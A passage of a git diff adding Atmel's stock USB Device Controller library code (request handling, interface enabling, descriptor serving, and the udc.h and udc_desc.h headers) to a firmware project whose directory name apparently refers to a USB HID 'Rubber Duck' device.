interface is not found + */ +static bool udc_iface_disable(uint8_t iface_num) +{ + udi_api_t UDC_DESC_STORAGE *udi_api; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + +#if (0!=USB_DEVICE_MAX_EP) + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) + return false; + + // Start at the beginning of interface descriptor + { + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) + ep_desc, USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Free the endpoint used by the interface + udd_ep_free(ep_desc->bEndpointAddress); + } + } +#endif + + // Disable interface + udi_api->disable(); + return true; +} + + +/** + * \brief Enables an usb device interface (UDI) + * This routine calls the UDI corresponding + * to the interface and setting number. + * + * \param iface_num Interface number to enable + * \param setting_num Setting number to enable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_enable(uint8_t iface_num, uint8_t setting_num) +{ + // Select the interface descriptor + if (!udc_update_iface_desc(iface_num, setting_num)) + return false; + +#if (0!=USB_DEVICE_MAX_EP) + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + + // Start at the beginning of the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) ep_desc, + USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Alloc the endpoint used by the interface + if (!udd_ep_alloc(ep_desc->bEndpointAddress, + ep_desc->bmAttributes, + le16_to_cpu + (ep_desc->wMaxPacketSize))) + return false; + } +#endif + // Enable the interface + return udc_ptr_conf->udi_apis[iface_num]->enable(); +} + + +/** + * \brief Reset the current configuration of the USB device, + * This routines can be called by UDD when a RESET on the USB line occurs. + */ +void udc_reset(void) +{ + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + udc_iface_disable(iface_num); + } + } + udc_num_configuration = 0; +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + if (0 != (CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP) & udc_device_status)) { + // Remote wakeup is enabled then disable it + UDC_REMOTEWAKEUP_DISABLE(); + } +#endif + udc_device_status = +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) + CPU_TO_LE16(USB_DEV_STATUS_SELF_POWERED); +#else + CPU_TO_LE16(USB_DEV_STATUS_BUS_POWERED); +#endif +} + + +/** + * \brief Standard device request to get device status + * + * \return true if success + */ +static bool udc_req_std_dev_get_status(void) +{ + if (udd_g_ctrlreq.req.wLength != sizeof(udc_device_status)) + return false; + + udd_set_setup_payload( + (uint8_t *) & udc_device_status, + sizeof(udc_device_status)); + return true; +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to get endpoint status + * + * \return true if success + */ +static bool udc_req_std_ep_get_status(void) +{ + static le16_t udc_ep_status; + + if (udd_g_ctrlreq.req.wLength != sizeof(udc_ep_status)) + return false; + + udc_ep_status = udd_ep_is_halted(udd_g_ctrlreq.req. + wIndex & 0xFF) ? CPU_TO_LE16(USB_EP_STATUS_HALTED) : 0; + + udd_set_setup_payload( + (uint8_t *) & udc_ep_status, + sizeof(udc_ep_status)); + return true; +} +#endif + +/** + * \brief Standard device request to change device status + * + * \return true if success + */ +static bool udc_req_std_dev_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + if (udd_g_ctrlreq.req.wValue == USB_DEV_FEATURE_REMOTE_WAKEUP) { + udc_device_status &= CPU_TO_LE16(~USB_DEV_STATUS_REMOTEWAKEUP); +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + UDC_REMOTEWAKEUP_DISABLE(); +#endif + return true; + } + return false; +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to clear endpoint feature + * + * \return true if success + */ +static bool udc_req_std_ep_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_clear_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + + +/** + * \brief Standard device request to set a feature + * + * \return true if success + */ +static bool udc_req_std_dev_set_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + switch (udd_g_ctrlreq.req.wValue) { + + case USB_DEV_FEATURE_REMOTE_WAKEUP: +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + udc_device_status |= CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP); + UDC_REMOTEWAKEUP_ENABLE(); + return true; +#else + return false; +#endif + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DEV_FEATURE_TEST_MODE: + if (!udd_is_high_speed()) + break; + if (udd_g_ctrlreq.req.wIndex & 0xff) + break; + // Unconfigure the device, terminating all ongoing requests + udc_reset(); + switch ((udd_g_ctrlreq.req.wIndex >> 8) & 0xFF) { + case USB_DEV_TEST_MODE_J: + udd_g_ctrlreq.callback = udd_test_mode_j; + return true; + + case USB_DEV_TEST_MODE_K: + udd_g_ctrlreq.callback = udd_test_mode_k; + return true; + + case USB_DEV_TEST_MODE_SE0_NAK: + udd_g_ctrlreq.callback = udd_test_mode_se0_nak; + return true; + + case USB_DEV_TEST_MODE_PACKET: + udd_g_ctrlreq.callback = udd_test_mode_packet; + return true; + + case USB_DEV_TEST_MODE_FORCE_ENABLE: // Only for downstream facing hub ports + default: + break; + } + break; +#endif + +#ifdef USB_OTG + // TODO + case USB_DEV_FEATURE_OTG_B_HNP_ENABLE: + break; + case USB_DEV_FEATURE_OTG_A_HNP_SUPPORT: + break; + case USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT: + break; +#endif + } + return false; +} + + +/** + * \brief Standard endpoint request to halt an endpoint + * + * \return true if success + */ +#if (0!=USB_DEVICE_MAX_EP) +static bool udc_req_std_epset_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_set_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + +/** + * \brief Change the address of device + * Callback called at the end of request set address + */ +static void udc_valid_address(void) +{ + udd_set_address(udd_g_ctrlreq.req.wValue & 0x7F); +} + + +/** + * \brief Standard device request to set device address + * + * \return true if success + */ +static bool udc_req_std_dev_set_address(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + // The address must be changed at the end of setup request after the handshake + // then we use a callback to change address + udd_g_ctrlreq.callback = udc_valid_address; + return true; +} + + +/** + * \brief Standard device request to get device string descriptor + * + * \return true if success + */ +static bool udc_req_std_dev_get_str_desc(void) +{ + uint8_t i; + uint8_t *str; + uint8_t str_lgt=0; + + // Link payload pointer to the string corresponding at request + switch (udd_g_ctrlreq.req.wValue & 0xff) { + case 0: + udd_set_setup_payload( + (uint8_t *) & udc_string_desc_languageid, + sizeof(udc_string_desc_languageid)); + break; + +#ifdef USB_DEVICE_MANUFACTURE_NAME + case 1: + str_lgt = USB_DEVICE_MANUFACTURE_NAME_SIZE; + str = udc_string_manufacturer_name; + break; +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + case 2: + str_lgt = USB_DEVICE_PRODUCT_NAME_SIZE; + str = udc_string_product_name; + break; +#endif +#ifdef USB_DEVICE_SERIAL_NAME + case 3: + str_lgt = USB_DEVICE_SERIAL_NAME_SIZE; + str = udc_string_serial_name; + break; +#endif + default: +#ifdef UDC_GET_EXTRA_STRING + if (UDC_GET_EXTRA_STRING()) + break; +#endif + return false; + } + + if (str_lgt != 0) { + for(i = 0; i < str_lgt; i++) { + udc_string_desc.string[i] = cpu_to_le16((le16_t)str[i]); + } + + udc_string_desc.header.bLength = 2 + (str_lgt) * 2; + udd_set_setup_payload( + (uint8_t *) &udc_string_desc, + udc_string_desc.header.bLength); + } + + return true; +} + + +/** + * \brief Standard device request to get descriptors about USB device + * + * \return true if success + */ +static bool udc_req_std_dev_get_descriptor(void) +{ + uint8_t conf_num; + + conf_num = udd_g_ctrlreq.req.wValue & 0xff; + + // Check descriptor ID + switch ((uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + case USB_DT_DEVICE: + // Device descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (!udd_is_high_speed()) { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_hs, + udc_config.confdev_hs->bLength); + } else +#endif + { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_lsfs, + udc_config.confdev_lsfs->bLength); + } + break; + + case USB_DT_CONFIGURATION: + // Configuration descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else +#endif + { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_CONFIGURATION; + break; + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DT_DEVICE_QUALIFIER: + // Device qualifier descriptor requested + udd_set_setup_payload( + (uint8_t *) udc_config.qualifier, + udc_config.qualifier->bLength); + break; + + case USB_DT_OTHER_SPEED_CONFIGURATION: + // Other configuration descriptor requested + if (!udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_OTHER_SPEED_CONFIGURATION; + break; +#endif + + case USB_DT_STRING: + // String descriptor requested + if (!udc_req_std_dev_get_str_desc()) { + return false; + } + break; + + default: + // Unknown descriptor requested + return false; + } + // if the descriptor is larger than length requested, then reduce it + if (udd_g_ctrlreq.req.wLength < udd_g_ctrlreq.payload_size) + udd_g_ctrlreq.payload_size = udd_g_ctrlreq.req.wLength; + return true; +} + + +/** + * \brief Standard device request to get configuration number + * + * \return true if success + */ +static bool udc_req_std_dev_get_configuration(void) +{ + if (udd_g_ctrlreq.req.wLength != 1) + return false; + + udd_set_setup_payload(&udc_num_configuration,1); + return true; +} + + +/** + * \brief Standard device request to enable a configuration + * + * \return true if success + */ +static bool udc_req_std_dev_set_configuration(void) +{ + uint8_t iface_num; + + // Check request length + if (udd_g_ctrlreq.req.wLength != 0) + return false; + // Authorize configuration only if the address is valid + if (!udd_getaddress()) + return false; + // Check the configuration number requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_hs->bNumConfigurations) + return false; + } else +#endif + { + // FS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_lsfs->bNumConfigurations) + return false; + } + + // Reset current configuration + udc_reset(); + + // Enable new configuration + udc_num_configuration = udd_g_ctrlreq.req.wValue & 0xFF; + if (udc_num_configuration == 0) { + return true; // Default empty configuration requested + } + // Update pointer of the configuration descriptor +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + udc_ptr_conf = &udc_config.conf_hs[udc_num_configuration - 1]; + } else +#endif + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + if (!udc_iface_enable(iface_num, 0)) + return false; + } + return true; +} + + +/** + * \brief Standard interface request + * to get the alternate setting number of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_get_setting(void) +{ + static uint8_t udc_iface_setting; + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (udd_g_ctrlreq.req.wLength != 1) + return false; // Error in request + if (!udc_num_configuration) + return false; // The device is not is configured state yet + + // Check the interface number included in the request + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + // Get alternate setting from UDI + udi_api = udc_ptr_conf->udi_apis[iface_num]; + udc_iface_setting = udi_api->getsetting(); + // Link value to payload pointer of request + udd_set_setup_payload(&udc_iface_setting,1); + return true; +} + + +/** + * \brief Standard interface request + * to set an alternate setting of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_set_setting(void) +{ + uint8_t iface_num, setting_num; + + if (udd_g_ctrlreq.req.wLength != 0) + return false; // Error in request + if (!udc_num_configuration) + return false; // The device is not is configured state yet + + + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + setting_num = udd_g_ctrlreq.req.wValue & 0xFF; + + // Disable current setting + if (!udc_iface_disable(iface_num)) + return false; + + // Enable new setting + return udc_iface_enable(iface_num, setting_num); +} + + +/** + * \brief Main routine to manage the standard USB SETUP request + * + * \return true if the request is supported + */ +static bool udc_reqstd(void) +{ + if (Udd_setup_is_in()) { + // GET Standard Requests + if (udd_g_ctrlreq.req.wLength == 0) + return false; // Error for USB host + + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Get Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_dev_get_status(); + case USB_REQ_GET_DESCRIPTOR: + return udc_req_std_dev_get_descriptor(); + case USB_REQ_GET_CONFIGURATION: + return udc_req_std_dev_get_configuration(); + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Get Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_INTERFACE: + return udc_req_std_iface_get_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Get Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_ep_get_status(); + } + } +#endif + } else { + // SET Standard Requests + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Set Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_ADDRESS: + return udc_req_std_dev_set_address(); + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_dev_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_dev_set_feature(); + case USB_REQ_SET_CONFIGURATION: + return udc_req_std_dev_set_configuration(); + case USB_REQ_SET_DESCRIPTOR: + /* Not supported (defined as optional by the USB 2.0 spec) */ + break; + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Set Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_INTERFACE: + return udc_req_std_iface_set_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Set Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_ep_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_epset_feature(); + } + } +#endif + } + return false; +} + + +/** + * \brief Send the SETUP interface request to UDI + * + * \return true if the request is supported + */ +static bool udc_req_iface(void) +{ + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (0 == udc_num_configuration) + return false; // The device is not is configured state yet + // Check interface number + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + //* To update udc_ptr_iface with the selected interface in request + // Select first alternate setting of interface to update udc_ptr_iface + // before calling udi_api->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) + return false; + + // Send the SETUP request to the UDI corresponding to the interface number + return udi_api->setup(); +} + + +/** + * \brief Main routine to manage the USB SETUP request. + * + * This function parses a USB SETUP request and submits an appropriate + * response back to the host or, in the case of SETUP OUT requests + * with data, sets up a buffer for receiving the data payload. + * + * The main standard requests defined by the USB 2.0 standard are handled + * internally. The interface requests are sent to UDI, and the specific request + * sent to a specific application callback. + * + * \return true if the request is supported, else the request is stalled by UDD + */ +bool udc_process_setup(void) +{ + // By default no data (receive/send) and no callbacks registered + udd_g_ctrlreq.payload_size = 0; + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + + if (Udd_setup_is_in()) { + if (udd_g_ctrlreq.req.wLength == 0) + return false; // Error from USB host + } + + // If standard request then try to decode it in UDC + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + if (udc_reqstd()) + return true; + } + + // If interface request then try to decode it in UDI + if (Udd_setup_recipient() == USB_REQ_RECIP_INTERFACE) { + if (udc_req_iface()) + return true; + } + + // Here SETUP request unknown by UDC and UDIs +#ifdef USB_DEVICE_SPECIFIC_REQUEST + // Try to decode it in specific callback + return USB_DEVICE_SPECIFIC_REQUEST(); // Ex: Vendor request,... +#else + return false; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.h new file mode 100755 index 0000000..e202692 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.h @@ -0,0 +1,248 @@ +/** + * \file + * + * \brief Interface of the USB Device Controller (UDC) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_H_ +#define _UDC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udc_desc.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udc_group USB Device Controller (UDC) + * + * The UDC provides a high-level abstraction of the usb device. + * You can use these functions to control the main device state + * (start/attach/wakeup). + * + * \section USB_DEVICE_CONF USB Device Custom configuration + * The following USB Device configuration must be included in the conf_usb.h + * file of the application. + * + * USB_DEVICE_VENDOR_ID (Word)
+ * Vendor ID provided by USB org (ATMEL 0x03EB). + * + * USB_DEVICE_PRODUCT_ID (Word)
+ * Product ID (Referenced in usb_atmel.h). + * + * USB_DEVICE_MAJOR_VERSION (Byte)
+ * Major version of the device + * + * USB_DEVICE_MINOR_VERSION (Byte)
+ * Minor version of the device + * + * USB_DEVICE_MANUFACTURE_NAME (string)
+ * ASCII name for the manufacture + * + * USB_DEVICE_PRODUCT_NAME (string)
+ * ASCII name for the product + * + * USB_DEVICE_SERIAL_NAME (string)
+ * ASCII name to enable and set a serial number + * + * USB_DEVICE_POWER (Numeric)
+ * (unit mA) Maximum device power + * + * USB_DEVICE_ATTR (Byte)
+ * USB attributes available: + * - USB_CONFIG_ATTR_SELF_POWERED + * - USB_CONFIG_ATTR_REMOTE_WAKEUP + * Note: if remote wake enabled then defines remotewakeup callbacks, + * see Table 5-2. External API from UDC - Callback + * + * USB_DEVICE_LOW_SPEED (Only defined)
+ * Force the USB Device to run in low speed + * + * USB_DEVICE_HS_SUPPORT (Only defined)
+ * Authorize the USB Device to run in high speed + * + * USB_DEVICE_MAX_EP (Byte)
+ * Define the maximum endpoint number used by the USB Device.
+ * This one is already defined in UDI default configuration. + * Ex: + * - When endpoint control 0x00, endpoint 0x01 and + * endpoint 0x82 is used then USB_DEVICE_MAX_EP=2 + * - When only endpoint control 0x00 is used then USB_DEVICE_MAX_EP=0 + * - When endpoint 0x01 and endpoint 0x81 is used then USB_DEVICE_MAX_EP=1
+ * (configuration not possible on USBB interface) + * @{ + */ + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + * + * \section udc_vbus_monitoring VBus monitoring used cases + * + * The VBus monitoring is used only for USB SELF Power application. + * + * - No custom implementation \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // VBUS monitoring is not available on this product \n + * // thereby VBUS has to be considered as present \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Add custom VBUS monitoring \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // Implement custom VBUS monitoring via GPIO or other \n + * } \n + * Event_VBUS_present() // VBUS interrupt or GPIO interrupt or other \n + * { \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Case of battery charging \n + * Event VBUS present() // VBUS interrupt or GPIO interrupt or .. \n + * { \n + * // Authorize battery charging, but wait key press to start USB. \n + * } \n + * Event Key press() \n + * { \n + * // Stop batteries charging \n + * // Start USB \n + * udc_attach(); \n + * } \n + */ +static inline bool udc_include_vbus_monitoring(void) +{ + return udd_include_vbus_monitoring(); +} + + +/*! \brief Start the USB Device stack + */ +static inline void udc_start(void) +{ + udd_enable(); +} + + +/*! \brief Stop the USB Device stack + */ +static inline void udc_stop(void) +{ + udd_disable(); +} + + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +static inline void udc_attach(void) +{ + udd_attach(); +} + + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +static inline void udc_detach(void) +{ + udd_detach(); +} + + +/*! \brief The USB driver sends a resume signal called \e "Upstream Resume" + */ +static inline void udc_wakeup(void) +{ + udd_send_wake_up(); +} + + +/** + * \brief Returns a pointer on the current interface descriptor + * + * \return pointer on the current interface descriptor. + */ +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void); + +//@} + +/** + * \ingroup usb_group + * \defgroup usb_device_group USB Stack Devices + * + * This module includes USB Stack Device implementation. + * The stack is divided in three parts: + * - USB Device Controller (UDC) provides USB chapter 9 compliance + * - USB Device Interface (UDI) provides USB Class compliance + * - USB Device Driver (UDD) provides USB Driver for each AVR product + + * Many USB Device applications can be implemented on AVR products. + * Atmel provides many application notes for different applications: + * - AVR4900, provides general information about Device Stack + * - AVR4901, explains how to create a new class + * - AVR4902, explains how to create a composite device + * - AVR49xx, all device classes provided in ASF have an application note + * + * A basic USB knowledge is required to understand the USB Device + * Class application notes (HID,MS,CDC,PHDC,...). + * Then, to create an USB device with + * only one class provided by ASF, refer directly to the application note + * corresponding to this USB class. The USB Device application note for + * New Class and Composite is dedicated to advanced USB users. + * + * @{ + */ + +//! @} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc_desc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc_desc.h new file mode 100755 index 0000000..ea854a6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc_desc.h @@ -0,0 +1,126 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_DESC_H_ +#define _UDC_DESC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udc_group + * \defgroup udc_desc_group USB Device Descriptor + * + * @{ + */ + +/** + * \brief Defines the memory's location of USB descriptors + * + * By default the Descriptor is stored in RAM + * (UDC_DESC_STORAGE is defined empty). + * + * If you have need to free RAM space, + * it is possible to put descriptor in flash in following case: + * - USB driver authorize flash transfer (USBB on UC3 and USB on Mega) + * - USB Device is not high speed (UDC no need to change USB descriptors) + * + * For UC3 application used "const". + * + * For Mega application used "code". + */ +#define UDC_DESC_STORAGE + // Descriptor storage in internal RAM +#if (defined UDC_DATA_USE_HRAM_SUPPORT) +# if defined(__GNUC__) +# define UDC_DATA(x) COMPILER_WORD_ALIGNED __attribute__((__section__(".data_hram0"))) +# define UDC_BSS(x) COMPILER_ALIGNED(x) __attribute__((__section__(".bss_hram0"))) +# elif defined(__ICCAVR32__) +# define UDC_DATA(x) COMPILER_ALIGNED(x) __data32 +# define UDC_BSS(x) COMPILER_ALIGNED(x) __data32 +# endif +#else +# define UDC_DATA(x) COMPILER_ALIGNED(x) +# define UDC_BSS(x) COMPILER_ALIGNED(x) +#endif + + + +/** + * \brief Configuration descriptor and UDI link for one USB speed + */ +typedef struct { + //! USB configuration descriptor + usb_conf_desc_t UDC_DESC_STORAGE *desc; + //! Array of UDI API pointer + udi_api_t UDC_DESC_STORAGE *UDC_DESC_STORAGE * udi_apis; +} udc_config_speed_t; + + +/** + * \brief All information about the USB Device + */ +typedef struct { + //! USB device descriptor for low or full speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_lsfs; + //! USB configuration descriptor and UDI API pointers for low or full speed + udc_config_speed_t UDC_DESC_STORAGE *conf_lsfs; +#ifdef USB_DEVICE_HS_SUPPORT + //! USB device descriptor for high speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_hs; + //! USB device qualifier, only use in high speed 